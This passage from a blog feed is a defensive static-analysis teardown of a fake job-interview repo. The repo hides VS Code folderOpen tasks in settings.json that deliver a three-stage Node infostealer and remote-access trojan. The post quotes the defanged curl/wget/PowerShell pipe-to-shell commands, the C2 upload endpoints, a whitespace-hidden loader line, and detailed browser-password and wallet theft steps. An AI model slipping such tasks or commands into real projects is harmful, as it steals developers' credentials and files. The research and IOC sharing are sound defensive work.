<p>Thanks for reading!</p>]]></content><author><name>Hasan YILMAZ</name><email>yilmazhasan111@gmail.com</email></author><category term="meta" /><category term="web" /><summary type="html"><![CDATA[I rebuilt my personal site, and I'll be writing my posts here.]]></summary></entry><entry><title type="html">Is VS Code safe for a repo you never run?</title><link href="https://www.hasanyilmaz.me/blog/2026/is-vs-code-safe-for-a-repo-you-never-run/" rel="alternate" type="text/html" title="Is VS Code safe for a repo you never run?" /><published>2026-10-15T00:00:00+03:00</published><updated>2026-10-15T00:00:00+03:00</updated><id>https://www.hasanyilmaz.me/blog/2026/is-vs-code-safe-for-a-repo-you-never-run</id><content type="html" xml:base="https://www.hasanyilmaz.me/blog/2026/is-vs-code-safe-for-a-repo-you-never-run/"><![CDATA[<blockquote>
  <p><strong>TL;DR:</strong> No. A fake job-interview repository I received ran a three-stage infostealer and remote-access trojan
(RAT) <strong>the moment its folder was opened in a trusted VS Code window</strong>. I never typed <code class="language-plaintext highlighter-rouge">npm install</code> or <code class="language-plaintext highlighter-rouge">npm start</code>.
This post is the low-level teardown. For the high-level overview of all the fake interviews I scanned, and
how to protect yourself, see
<a href="/blog/2026/three-fake-interviews-three-malware-repos/">Three fake interviews, three malware repos</a>.</p>
</blockquote>

<blockquote>
  <p><strong>Note:</strong> Everything below was done with <strong>static analysis only</strong>. Remote stages were downloaded as text with
<code class="language-plaintext highlighter-rouge">curl -o</code> and never executed. URLs and IPs are defanged (<code class="language-plaintext highlighter-rouge">hxxps</code>, <code class="language-plaintext highlighter-rouge">[.]</code>), so don’t visit them.</p>
</blockquote>

<details>
  <summary>
    <p><b>Contents</b>&lt;/summary&gt;</p>

    <ol>
      <li><a href="#the-repo">The repo</a></li>
      <li><a href="#infection-chain">Infection chain</a></li>
      <li><a href="#the-trigger-tasks-hidden-in-settingsjson">The trigger: tasks hidden in settings.json</a></li>
      <li><a href="#the-decoy-code">The decoy code</a></li>
      <li><a href="#stage-1-bootstrap">Stage 1: bootstrap</a></li>
      <li><a href="#stage-2-connect-runner">Stage 2: connect-runner</a></li>
      <li><a href="#stage-3-workerjs">Stage 3: worker.js</a></li>
      <li><a href="#child-1-browser-and-wallet-stealer">Child 1: browser and wallet stealer</a></li>
      <li><a href="#child-2-mass-file-exfiltration">Child 2: mass file exfiltration</a></li>
      <li><a href="#child-3-remote-access-trojan">Child 3: remote access trojan</a></li>
      <li><a href="#same-idea-other-tricks">Same idea, other tricks</a></li>
      <li><a href="#attribution">Attribution</a></li>
      <li><a href="#indicators-of-compromise">Indicators of compromise</a></li>
      <li><a href="#recommendations">Recommendations</a></li>
    </ol>

    <p>&lt;/details&gt;</p>

    <h2 id="the-repo">The repo</h2>

    <table>
      <thead>
        <tr>
          <th> </th>
          <th> </th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td><strong>Name</strong></td>
          <td><code class="language-plaintext highlighter-rouge">ai-agent-marketplace</code> (“Decentralized AI Agent Marketplace”, “DAAM-DIS”)</td>
        </tr>
        <tr>
          <td><strong>Delivered as</strong></td>
          <td>Job-interview take-home task, October 2026</td>
        </tr>
        <tr>
          <td><strong>Stack</strong></td>
          <td>React + Vite front end, Express back end, Solidity/Hardhat contracts</td>
        </tr>
        <tr>
          <td><strong>Git history</strong></td>
          <td>One commit, <code class="language-plaintext highlighter-rouge">"upload"</code>, by a throwaway <code class="language-plaintext highlighter-rouge">daambuilder</code> identity, dated 2026-10-09</td>
        </tr>
        <tr>
          <td><strong>Verdict</strong></td>
          <td><strong>Malicious:</strong> multi-stage infostealer + RAT, delivered through a VS Code auto-run task</td>
        </tr>
      </tbody>
    </table>

    <h2 id="infection-chain">Infection chain</h2>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>open folder in VS Code (trusted)
  └─ .vscode/settings.json  task "ExecutionPolicy"  (runOn: folderOpen, hidden output)
       └─ curl|wget|irm  hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=…&amp;flag=7   [Stage 1]
            ├─ installs portable Node.js v22 → ~/.local/share/daam-demo/node (if node &lt; 19)
            └─ downloads + runs …/api/terminal/connect-runner?flag=7                       [Stage 2]
                 └─ downloads …/api/terminal/script?flag=7
                    → $TMP/daam-extra-XXXX/worker.js, spawned detached + hidden            [Stage 3]
                       ├─ npm install sql.js socket.io-client form-data axios (silent, temp dir)
                       ├─ child 1  "ldbScript"         browser passwords + wallet extensions + keychain
                       ├─ child 2  "autoUploadScript"  recursive file exfiltration
                       └─ child 3  "socketScript"      RAT: remote shell, file browser, clipboard logger
  └─ task "Remove workspace settings": rm .vscode/settings.json; rm -rf .git   (anti-forensics)
</code></pre></div>    </div>

    <h2 id="the-trigger-tasks-hidden-in-settingsjson">The trigger: tasks hidden in settings.json</h2>

    <p>Most people who know about this attack check <code class="language-plaintext highlighter-rouge">.vscode/tasks.json</code>. Here, that file contained only:</p>

    <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.0.0"</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div>    </div>

    <p>The real tasks were in <strong><code class="language-plaintext highlighter-rouge">.vscode/settings.json</code></strong>, under a <code class="language-plaintext highlighter-rouge">"tasks"</code> key, which VS Code also honors:</p>

    <table>
      <thead>
        <tr>
          <th>Task label</th>
          <th>Trigger</th>
          <th>Behaviour</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">ExecutionPolicy</code></td>
          <td><code class="language-plaintext highlighter-rouge">runOn: folderOpen</code></td>
          <td><strong>Windows:</strong> <code class="language-plaintext highlighter-rouge">powershell -NoProfile -ExecutionPolicy Bypass -Command "try { Invoke-RestMethod -Uri 'hxxps://cloudfluxio[.]store/api/terminal/windows?flag=7' \| Invoke-Expression } finally { exit }"</code><br /><strong>Linux:</strong> <code class="language-plaintext highlighter-rouge">wget -qO- 'hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=linux&amp;flag=7' \| bash &gt;/dev/null 2&gt;&amp;1</code><br /><strong>macOS:</strong> <code class="language-plaintext highlighter-rouge">curl -fsSL 'hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=mac&amp;flag=7' \| bash &gt;/dev/null 2&gt;&amp;1</code><br /><code class="language-plaintext highlighter-rouge">presentation.close: true</code> closes the terminal panel.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">Initialize VScode settings.</code></td>
          <td><code class="language-plaintext highlighter-rouge">runOn: folderOpen</code></td>
          <td>Decoy. Prints <code class="language-plaintext highlighter-rouge">...</code> and sleeps 2 s so the activity looks normal.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">Remove workspace settings</code></td>
          <td><code class="language-plaintext highlighter-rouge">runOn: folderOpen</code>, <code class="language-plaintext highlighter-rouge">dependsOn</code> the two above, in sequence</td>
          <td><code class="language-plaintext highlighter-rouge">rm -f .vscode/settings.json; rm -rf .git</code>. On Windows it first runs <code class="language-plaintext highlighter-rouge">attrib -r -s -h .git\* /s /d</code> so the delete succeeds.</td>
        </tr>
      </tbody>
    </table>

    <p>That last task is anti-forensics. After infection, the trigger and the git history are both gone, so the victim
has nothing left to inspect.</p>

    <blockquote>
      <p><strong>Why “you never ran it” doesn’t help:</strong> <code class="language-plaintext highlighter-rouge">runOn: folderOpen</code> runs the task as soon as you open the folder and
answer <strong>“Yes, I trust the authors”</strong> in the Workspace Trust prompt. Many people click that without thinking,
or have trust prompts turned off.</p>
    </blockquote>

    <h2 id="the-decoy-code">The decoy code</h2>

    <p>Everything else was built to pass a quick review:</p>

    <table>
      <thead>
        <tr>
          <th>File / area</th>
          <th>Result</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">package.json</code> (root, <code class="language-plaintext highlighter-rouge">frontend/</code>, <code class="language-plaintext highlighter-rouge">backend/</code>)</td>
          <td>No <code class="language-plaintext highlighter-rouge">preinstall</code> / <code class="language-plaintext highlighter-rouge">install</code> / <code class="language-plaintext highlighter-rouge">postinstall</code> / <code class="language-plaintext highlighter-rouge">prepare</code> hooks. Mainstream dependencies (express, cors, jsonwebtoken, vite, react, tailwind, hardhat).</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">package-lock.json</code></td>
          <td>487 entries, all resolved from <code class="language-plaintext highlighter-rouge">registry.npmjs.org</code>. No git, tarball, or <code class="language-plaintext highlighter-rouge">file:</code> sources, no <code class="language-plaintext highlighter-rouge">hasInstallScript</code> packages, no typosquats.</td>
        </tr>
        <tr>
          <td>Lockfile drift</td>
          <td><code class="language-plaintext highlighter-rouge">@noble/curves</code> and <code class="language-plaintext highlighter-rouge">@noble/hashes</code> are in <code class="language-plaintext highlighter-rouge">backend/package.json</code> but missing from the lockfile. Looks like sloppiness, not an attack.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">setup.js</code></td>
          <td>Benign. Checks the Node version, copies <code class="language-plaintext highlighter-rouge">.env.example</code> to <code class="language-plaintext highlighter-rouge">.env</code>, runs <code class="language-plaintext highlighter-rouge">npm ci/install --ignore-scripts</code>.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">backend/src/**</code></td>
          <td>Benign mock Express API. No outbound network calls, no <code class="language-plaintext highlighter-rouge">eval</code>/<code class="language-plaintext highlighter-rouge">exec</code>.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">frontend/src/**</code></td>
          <td>Benign React UI. MetaMask is used only for <code class="language-plaintext highlighter-rouge">eth_requestAccounts</code>, <code class="language-plaintext highlighter-rouge">eth_chainId</code> and <code class="language-plaintext highlighter-rouge">personal_sign</code>.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">contracts/**</code></td>
          <td>Standard ERC-721 marketplace and revenue-sharing contracts, plus tests.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">.vscode/log-workspace-open.js</code></td>
          <td>Writes OS, hostname and Node version to a local log. Not referenced by any task. A leftover or decoy.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">frontend/src/img/background.jpg</code></td>
          <td>Actually a PNG. Ends exactly at <code class="language-plaintext highlighter-rouge">IEND</code>, no appended data.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">docs/**</code>, <code class="language-plaintext highlighter-rouge">README.md</code>, <code class="language-plaintext highlighter-rouge">SETUP.md</code></td>
          <td>No zero-width or bidi characters, no HTML comments, no instructions aimed at AI assistants.</td>
        </tr>
      </tbody>
    </table>

    <p>The README and SETUP stress <code class="language-plaintext highlighter-rouge">npm install --ignore-scripts</code> for safety. That builds trust, and costs the attacker
nothing, because the real attack doesn’t go through npm at all.</p>

    <h2 id="stage-1-bootstrap">Stage 1: bootstrap</h2>

    <p>The C2 server sends <code class="language-plaintext highlighter-rouge">cache-control: no-store</code>, so the payload can change on any request.</p>

    <ul>
      <li>Makes sure Node.js 19 or newer is available. If it isn’t, it downloads the <strong>official</strong> Node v22.14.0 tarball
(on Windows, the LTS MSI, extracted with <code class="language-plaintext highlighter-rouge">msiexec /a … /qn</code>) into <code class="language-plaintext highlighter-rouge">~/.local/share/daam-demo/node</code> or
<code class="language-plaintext highlighter-rouge">%LOCALAPPDATA%\daam-demo\node</code>. Using legitimate, signed Node binaries helps it avoid antivirus detection.</li>
      <li>Downloads Stage 2 to <code class="language-plaintext highlighter-rouge">$TMP/daam-connect-runner.XXXXXX.js</code>, runs it with <code class="language-plaintext highlighter-rouge">node</code>, and deletes the file on exit.</li>
    </ul>

    <h2 id="stage-2-connect-runner">Stage 2: connect-runner</h2>

    <p>Plain, unobfuscated JavaScript:</p>

    <ul>
      <li>Fetches Stage 3 from <code class="language-plaintext highlighter-rouge">…/api/terminal/script?flag=7</code> (overridable with the <code class="language-plaintext highlighter-rouge">EXTRA_SCRIPT_URL</code> env variable).</li>
      <li>Writes it to <code class="language-plaintext highlighter-rouge">$TMP/daam-extra-XXXXXX/worker.js</code>, with a prelude that swallows all exceptions.</li>
      <li>Spawns it with <code class="language-plaintext highlighter-rouge">{ detached: true, windowsHide: true, stdio: ignore→log files }</code>, adds <code class="language-plaintext highlighter-rouge">CREATE_NO_WINDOW</code>
(<code class="language-plaintext highlighter-rouge">0x08000000</code>) on Windows, then calls <code class="language-plaintext highlighter-rouge">child.unref()</code>. The worker outlives the VS Code terminal and stays
invisible.</li>
      <li>Contains a kill switch, <code class="language-plaintext highlighter-rouge">DAAM_NO_EXTRA=1</code>, and <code class="language-plaintext highlighter-rouge">DAAM_DEBUG*</code> switches. These look like the operator’s own
testing hooks.</li>
    </ul>

    <h2 id="stage-3-workerjs">Stage 3: worker.js</h2>

    <p>A 4.5 MB file, obfuscated with obfuscator.io / <code class="language-plaintext highlighter-rouge">javascript-obfuscator</code>:</p>

    <ul>
      <li>a rotated string array of 26,409 entries;</li>
      <li>mixed base64 and RC4 string encoding with 84 keys;</li>
      <li>split strings (5-character chunks) and proxy objects;</li>
      <li>dead-code injection (<code class="language-plaintext highlighter-rouge">if ("bssYC" !== "bssYC")</code>);</li>
      <li>self-defending regex checks and <code class="language-plaintext highlighter-rouge">debugger</code> anti-debug loops on a <code class="language-plaintext highlighter-rouge">setInterval</code>.</li>
    </ul>

    <p><strong>How I decoded it without running it:</strong></p>

    <ol>
      <li>Extracted only the pure decoder functions (the string-array accessors and the rotation IIFE) and ran them in an
empty Node <code class="language-plaintext highlighter-rouge">vm</code> context with no <code class="language-plaintext highlighter-rouge">require</code>, no <code class="language-plaintext highlighter-rouge">process</code>, and no network.</li>
      <li>Ran an <code class="language-plaintext highlighter-rouge">acorn</code> AST pass to resolve 88,732 wrapper calls into literal strings, fold concatenations, and inline the
proxy objects.</li>
      <li>Removed about 900 dead constant tables and wrappers.</li>
    </ol>

    <p>That took it from 145k lines down to about 1,600 readable ones. The three child payloads are embedded as
<strong>plain-text JavaScript templates</strong>, so they came out in full.</p>

    <p><strong>Decoded configuration:</strong></p>

    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">u_s</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">http://167.88.172[.]115:8086/upload</span><span class="dl">"</span><span class="p">;</span> <span class="c1">// file upload, used by autoupload + RAT</span>
<span class="kd">const</span> <span class="nx">l_s</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">http://167.88.172[.]115:8085/upload</span><span class="dl">"</span><span class="p">;</span> <span class="c1">// browser/wallet loot upload</span>
<span class="kd">const</span> <span class="nx">s_s</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">http://167.88.172[.]115:8087</span><span class="dl">"</span><span class="p">;</span>        <span class="c1">// RAT: socket.io, /api/notify, /api/log</span>
<span class="kd">const</span> <span class="nx">u_k</span> <span class="o">=</span> <span class="mi">507</span><span class="p">;</span> <span class="c1">// operator / campaign key, sent as "userkey"/"ukey" header</span>
<span class="kd">const</span> <span class="nx">t</span>   <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>   <span class="c1">// campaign/build id, used in lock-file names (pid.5.N.lock)</span>
<span class="c1">// plus a hard-coded HMAC secret for the upload "validation" header</span>
</code></pre></div>    </div>

    <p><strong>Main routine:</strong></p>

    <ol>
      <li>Logs “Starting client” to the C2.</li>
      <li>Silently runs <code class="language-plaintext highlighter-rouge">npm install sql.js socket.io-client form-data axios [puppeteer] --no-save --loglevel silent</code>
in a temp directory.</li>
      <li>Writes three child scripts to <code class="language-plaintext highlighter-rouge">$TMP</code> and spawns each one detached and hidden. A lock file
<code class="language-plaintext highlighter-rouge">$TMP/pid.5.{1,2,3}.lock</code> holding <code class="language-plaintext highlighter-rouge">{pid, startedAt}</code> stops duplicate instances.</li>
    </ol>

    <h2 id="child-1-browser-and-wallet-stealer">Child 1: browser and wallet stealer</h2>

    <p><code class="language-plaintext highlighter-rouge">ldbScript</code>, lock file <code class="language-plaintext highlighter-rouge">pid.5.1.lock</code>.</p>

    <ul>
      <li><strong>13 browsers:</strong> Chrome, Brave, AVG Browser, Edge, Opera, Opera GX, Vivaldi, Kiwi, Yandex, Iridium,
Comodo Dragon, SRWare Iron, Chromium. Every profile (<code class="language-plaintext highlighter-rouge">Default</code>, <code class="language-plaintext highlighter-rouge">Profile *</code>).</li>
      <li><strong>Every OS, including WSL.</strong> On WSL it runs <code class="language-plaintext highlighter-rouge">cmd.exe /c echo %USERNAME%</code> or walks <code class="language-plaintext highlighter-rouge">/mnt/c/Users/*</code> to get at the
<strong>Windows-side</strong> browsers.</li>
      <li><strong>Master key theft and decryption:</strong>
        <ul>
          <li>Windows: reads <code class="language-plaintext highlighter-rouge">Local State</code> → <code class="language-plaintext highlighter-rouge">os_crypt.encrypted_key</code>, then decrypts it with DPAPI through a temporary
PowerShell script (<code class="language-plaintext highlighter-rouge">$TMP/decrypt-key-*.ps1</code>, <code class="language-plaintext highlighter-rouge">ProtectedData::Unprotect</code>, both CurrentUser and LocalMachine
scopes).</li>
          <li>macOS: <code class="language-plaintext highlighter-rouge">security find-generic-password -w -s "&lt;Browser&gt; Safe Storage"</code>.</li>
          <li>Linux: <code class="language-plaintext highlighter-rouge">secret-tool lookup application …</code>, or Python <code class="language-plaintext highlighter-rouge">secretstorage</code> over D-Bus.</li>
          <li>Then AES-GCM decryption of the <code class="language-plaintext highlighter-rouge">v10</code>/<code class="language-plaintext highlighter-rouge">v11</code> password blobs.</li>
        </ul>
      </li>
      <li><strong>Uploaded to <code class="language-plaintext highlighter-rouge">:8085</code>:</strong>
        <ul>
          <li><code class="language-plaintext highlighter-rouge">Login Data</code>, <code class="language-plaintext highlighter-rouge">Login Data For Account</code> and <code class="language-plaintext highlighter-rouge">Web Data</code> (autofill, saved cards);</li>
          <li>the decrypted passwords;</li>
          <li><code class="language-plaintext highlighter-rouge">Local Extension Settings/&lt;id&gt;/*</code> for <strong>40 crypto-wallet extensions</strong>
(<a href="#wallet-extension-ids-targeted">list below</a>);</li>
          <li>the Brave built-in wallet;</li>
          <li>on macOS, <strong><code class="language-plaintext highlighter-rouge">~/Library/Keychains/login.keychain-db</code></strong>;</li>
          <li>a <code class="language-plaintext highlighter-rouge">sysinfo.txt</code> with host, OS, username and platform.</li>
        </ul>
      </li>
      <li>Re-runs 11 times, 30 seconds apart, to catch new data.</li>
      <li>Has a disabled (<code class="language-plaintext highlighter-rouge">if (false &amp;&amp; …)</code>) Chrome remote-debugging / puppeteer path (<code class="language-plaintext highlighter-rouge">--remote-debugging-port=9222</code>) for
newer macOS Chrome builds, ready to be switched on.</li>
    </ul>

    <h2 id="child-2-mass-file-exfiltration">Child 2: mass file exfiltration</h2>

    <p><code class="language-plaintext highlighter-rouge">autoUploadScript</code>, lock file <code class="language-plaintext highlighter-rouge">pid.5.2.lock</code>.</p>

    <ul>
      <li><strong>Priority directories:</strong>
        <ul>
          <li><code class="language-plaintext highlighter-rouge">~/Desktop</code>, <code class="language-plaintext highlighter-rouge">~/Documents</code>, <code class="language-plaintext highlighter-rouge">~/Downloads</code></li>
          <li><code class="language-plaintext highlighter-rouge">~/Projects</code>, <code class="language-plaintext highlighter-rouge">~/projects</code>, <code class="language-plaintext highlighter-rouge">~/Development</code>, <code class="language-plaintext highlighter-rouge">~/development</code>, <code class="language-plaintext highlighter-rouge">~/Code</code>, <code class="language-plaintext highlighter-rouge">~/code</code>, <code class="language-plaintext highlighter-rouge">~/Code Projects</code>,
<code class="language-plaintext highlighter-rouge">~/source</code>, <code class="language-plaintext highlighter-rouge">~/Source</code></li>
          <li><code class="language-plaintext highlighter-rouge">~/Library/CloudStorage</code>, <code class="language-plaintext highlighter-rouge">~/OneDrive</code>, <code class="language-plaintext highlighter-rouge">~/Google Drive</code>, <code class="language-plaintext highlighter-rouge">~/GoogleDrive</code></li>
          <li><code class="language-plaintext highlighter-rouge">/mnt</code> on WSL</li>
        </ul>
      </li>
      <li><strong>Then everything else:</strong> the whole home directory on Unix, <strong>every drive letter</strong> on Windows.</li>
      <li>Uploads to <code class="language-plaintext highlighter-rouge">:8086</code> any file whose name matches about 250 patterns, including:
        <ul>
          <li><code class="language-plaintext highlighter-rouge">.env</code>, <code class="language-plaintext highlighter-rouge">config</code>, <code class="language-plaintext highlighter-rouge">.yaml</code>, <code class="language-plaintext highlighter-rouge">.toml</code>, <code class="language-plaintext highlighter-rouge">.ini</code>;</li>
          <li><code class="language-plaintext highlighter-rouge">id_rsa</code>, <code class="language-plaintext highlighter-rouge">id_ed25519</code>, <code class="language-plaintext highlighter-rouge">.pem</code>, <code class="language-plaintext highlighter-rouge">.p12</code>, <code class="language-plaintext highlighter-rouge">.pfx</code>, <code class="language-plaintext highlighter-rouge">.jks</code>, <code class="language-plaintext highlighter-rouge">.keystore</code>;</li>
          <li><code class="language-plaintext highlighter-rouge">seed</code>, <code class="language-plaintext highlighter-rouge">mnemonic</code>, <code class="language-plaintext highlighter-rouge">recovery</code>, <code class="language-plaintext highlighter-rouge">12words</code>, <code class="language-plaintext highlighter-rouge">bip39</code>, <code class="language-plaintext highlighter-rouge">privatekey</code>, <code class="language-plaintext highlighter-rouge">wallet</code>, <code class="language-plaintext highlighter-rouge">metamask</code>, <code class="language-plaintext highlighter-rouge">phantom</code>, <code class="language-plaintext highlighter-rouge">ledger</code>,
<code class="language-plaintext highlighter-rouge">trezor</code>, <code class="language-plaintext highlighter-rouge">exodus</code>, <code class="language-plaintext highlighter-rouge">electrum</code>;</li>
          <li><code class="language-plaintext highlighter-rouge">password</code>, <code class="language-plaintext highlighter-rouge">credential</code>, <code class="language-plaintext highlighter-rouge">token</code>, <code class="language-plaintext highlighter-rouge">api_key</code>, <code class="language-plaintext highlighter-rouge">secret</code>;</li>
          <li><code class="language-plaintext highlighter-rouge">.sqlite</code>, <code class="language-plaintext highlighter-rouge">.db</code>, <code class="language-plaintext highlighter-rouge">.doc(x)</code>, <code class="language-plaintext highlighter-rouge">.pdf</code>, <code class="language-plaintext highlighter-rouge">.xls(x)</code>, <code class="language-plaintext highlighter-rouge">.txt</code>, <code class="language-plaintext highlighter-rouge">.md</code>, <code class="language-plaintext highlighter-rouge">.csv</code>, <code class="language-plaintext highlighter-rouge">.json</code>, <code class="language-plaintext highlighter-rouge">.js</code>, <code class="language-plaintext highlighter-rouge">.ts</code>;</li>
          <li><code class="language-plaintext highlighter-rouge">.png</code>, <code class="language-plaintext highlighter-rouge">.jpg</code> (for screenshots of seed phrases);</li>
          <li><code class="language-plaintext highlighter-rouge">cookie</code>, <code class="language-plaintext highlighter-rouge">session</code>, <code class="language-plaintext highlighter-rouge">bank</code>, <code class="language-plaintext highlighter-rouge">financ</code>, <code class="language-plaintext highlighter-rouge">hardhat</code>, <code class="language-plaintext highlighter-rouge">truffle</code> and more.</li>
        </ul>
      </li>
      <li>Files up to 5 MB, with a 120 ms throttle and retries, to stay quiet on the network.</li>
    </ul>

    <h2 id="child-3-remote-access-trojan">Child 3: remote access trojan</h2>

    <p><code class="language-plaintext highlighter-rouge">socketScript</code>, lock file <code class="language-plaintext highlighter-rouge">pid.5.3.lock</code>.</p>

    <ul>
      <li><strong>Beacon:</strong> <code class="language-plaintext highlighter-rouge">POST http://167.88.172[.]115:8087/api/notify</code> with host, OS, username and the campaign key. Logs go
to <code class="language-plaintext highlighter-rouge">/api/log</code>.</li>
      <li><strong>Persistent socket.io connection</strong> to <code class="language-plaintext highlighter-rouge">ws://167.88.172[.]115:8087</code>, with these events:
        <ul>
          <li><code class="language-plaintext highlighter-rouge">command</code>: runs <strong>arbitrary shell commands</strong> (<code class="language-plaintext highlighter-rouge">exec</code>, 300 MB buffer, hidden window) and returns the output.
Code <code class="language-plaintext highlighter-rouge">102</code> lists a directory, <code class="language-plaintext highlighter-rouge">107</code> uploads a chosen file, <code class="language-plaintext highlighter-rouge">108</code> uploads a whole folder (25 MB per file).</li>
          <li><code class="language-plaintext highlighter-rouge">shellOpen</code> / <code class="language-plaintext highlighter-rouge">shellInput</code> / <code class="language-plaintext highlighter-rouge">shellResize</code> / <code class="language-plaintext highlighter-rouge">shellClose</code> / <code class="language-plaintext highlighter-rouge">shellDetach</code>: a <strong>fully interactive remote
terminal</strong>, using a PTY where available and a hidden TTY backend on Windows.</li>
          <li><code class="language-plaintext highlighter-rouge">processControl</code>: starts or stops the other two children.</li>
          <li><code class="language-plaintext highlighter-rouge">whour</code>: identifies the host.</li>
        </ul>
      </li>
      <li><strong>On connect:</strong> searches the whole system for <strong><code class="language-plaintext highlighter-rouge">.env</code> files</strong> (<code class="language-plaintext highlighter-rouge">Get-ChildItem -Recurse</code> across all drives on
Windows, <code class="language-plaintext highlighter-rouge">find ~</code> on Unix) and uploads them.</li>
      <li><strong>Clipboard logger:</strong> reads the clipboard every second (PowerShell <code class="language-plaintext highlighter-rouge">Clipboard::GetText()</code>, <code class="language-plaintext highlighter-rouge">pbpaste</code>,
<code class="language-plaintext highlighter-rouge">xclip</code>/<code class="language-plaintext highlighter-rouge">xsel</code>, or WSL → Windows) and sends every new value to the C2. Copied passwords, seed phrases, API keys
and wallet addresses all leak this way.</li>
    </ul>

    <p><strong>Persistence:</strong> none in this build (no Run keys, LaunchAgents, cron or systemd units). The processes live until
reboot or until they’re killed. It doesn’t really need persistence: the theft finishes in minutes, and the RAT can
install anything it wants afterwards.</p>

    <h2 id="same-idea-other-tricks">Same idea, other tricks</h2>

    <p>Two other “interview” repos I received this year used the same idea (run on open, stay hidden) with different
mechanics. Both got a <strong>BLOCK</strong> verdict from
<a href="https://github.com/yilmazhasan/devguard-scanner">devguard-scanner</a>.</p>

    <p><strong>April 2026: plain <code class="language-plaintext highlighter-rouge">tasks.json</code> + install hook.</strong> Two <code class="language-plaintext highlighter-rouge">folderOpen</code> tasks with <code class="language-plaintext highlighter-rouge">"echo": false</code>. One silently runs
<code class="language-plaintext highlighter-rouge">npm install</code>, the other pipes a per-OS script into a shell:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.vscode/tasks.json:51  curl -L 'hxxps://vscodesetting-task.vercel[.]app/api/settings/mac' | bash
.vscode/tasks.json:54  wget -qO- 'hxxps://vscodesetting-task.vercel[.]app/api/settings/linux' | sh
.vscode/tasks.json:57  curl --ssl-no-revoke -L hxxps://vscodesetting-task.vercel[.]app/api/settings/windows | cmd
package.json:58        "prepare": "node server/server.js"
</code></pre></div>    </div>

    <p>The silent <code class="language-plaintext highlighter-rouge">npm install</code> also fires the <code class="language-plaintext highlighter-rouge">prepare</code> lifecycle hook, so there are two independent ways in. The repo also
committed <code class="language-plaintext highlighter-rouge">node_modules</code>, a known place to hide modified packages.</p>

    <p><strong>June 2026: a loader in <code class="language-plaintext highlighter-rouge">tailwind.config.js</code>.</strong> No <code class="language-plaintext highlighter-rouge">.vscode</code> folder and no install hooks at all. Line 890 of
<code class="language-plaintext highlighter-rouge">tailwind.config.js</code> looks empty in an editor, but after <strong>1,326 spaces</strong> it holds obfuscator.io output:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tailwind.config.js:890  &lt;…1326 spaces…&gt; const a0ag=a0a1,a0ak=a0a1,…;(function(a0,a1){…while(!![]){try{const a3=parseInt(ab(0x178))…
</code></pre></div>    </div>

    <p><code class="language-plaintext highlighter-rouge">tailwind.config.js</code> is <em>executed</em> by Vite/PostCSS during <code class="language-plaintext highlighter-rouge">npm run dev</code> and by the Tailwind CSS IntelliSense
extension, which loads the project config to power autocomplete. So a file most people would call “just config” is
actually code that runs. To see a hidden line like that:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'890p'</span> tailwind.config.js | <span class="nb">cut</span> <span class="nt">-c1-2000</span>
<span class="nb">awk</span> <span class="s1">'length &gt; 300 { print FILENAME ":" FNR ": " length " chars" }'</span> <span class="si">$(</span>git ls-files<span class="si">)</span>
</code></pre></div>    </div>

    <h2 id="attribution">Attribution</h2>

    <p>The tradecraft matches the publicly reported <strong>“Contagious Interview”</strong> fake job-interview campaigns: a crypto/Web3
take-home task, VS Code <code class="language-plaintext highlighter-rouge">folderOpen</code> tasks, a BeaverTail-like Node stealer with the same browser and wallet-extension
list, and InvisibleFerret-like RAT functionality (ported to JavaScript here). Staging sits on a cheap domain on shared
hosting, and the C2 is a bare-IP VPS. I can’t confirm attribution to any specific actor.</p>

    <h2 id="indicators-of-compromise">Indicators of compromise</h2>

    <p><strong>Network</strong></p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">cloudfluxio[.]store</code>: <code class="language-plaintext highlighter-rouge">/api/terminal/bootstrap</code>, <code class="language-plaintext highlighter-rouge">/api/terminal/windows</code>, <code class="language-plaintext highlighter-rouge">/api/terminal/connect-runner</code>,
<code class="language-plaintext highlighter-rouge">/api/terminal/script</code></li>
      <li><code class="language-plaintext highlighter-rouge">167.88.172[.]115</code> on TCP 8085, 8086 (HTTP <code class="language-plaintext highlighter-rouge">/upload</code>) and 8087 (<code class="language-plaintext highlighter-rouge">/api/notify</code>, <code class="language-plaintext highlighter-rouge">/api/log</code>, socket.io/WebSocket)</li>
      <li>HTTP headers <code class="language-plaintext highlighter-rouge">userkey: 507</code>, <code class="language-plaintext highlighter-rouge">t: 5</code>, <code class="language-plaintext highlighter-rouge">validation: &lt;hmac&gt;</code>, <code class="language-plaintext highlighter-rouge">file-metadata: …</code></li>
      <li><code class="language-plaintext highlighter-rouge">vscodesetting-task.vercel[.]app/api/settings/{mac,linux,windows}</code> (April 2026 repo)</li>
    </ul>

    <p><strong>Filesystem</strong></p>

    <ul>
